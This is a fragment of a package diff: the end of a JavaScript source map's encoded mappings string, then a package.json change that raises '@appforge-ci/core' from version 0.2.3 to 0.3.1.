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"}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@appforge-ci/core",
-  "version": "0.2.3",
+  "version": "0.3.1",
   "license": "MIT",
   "publishConfig": {
     "access": "public"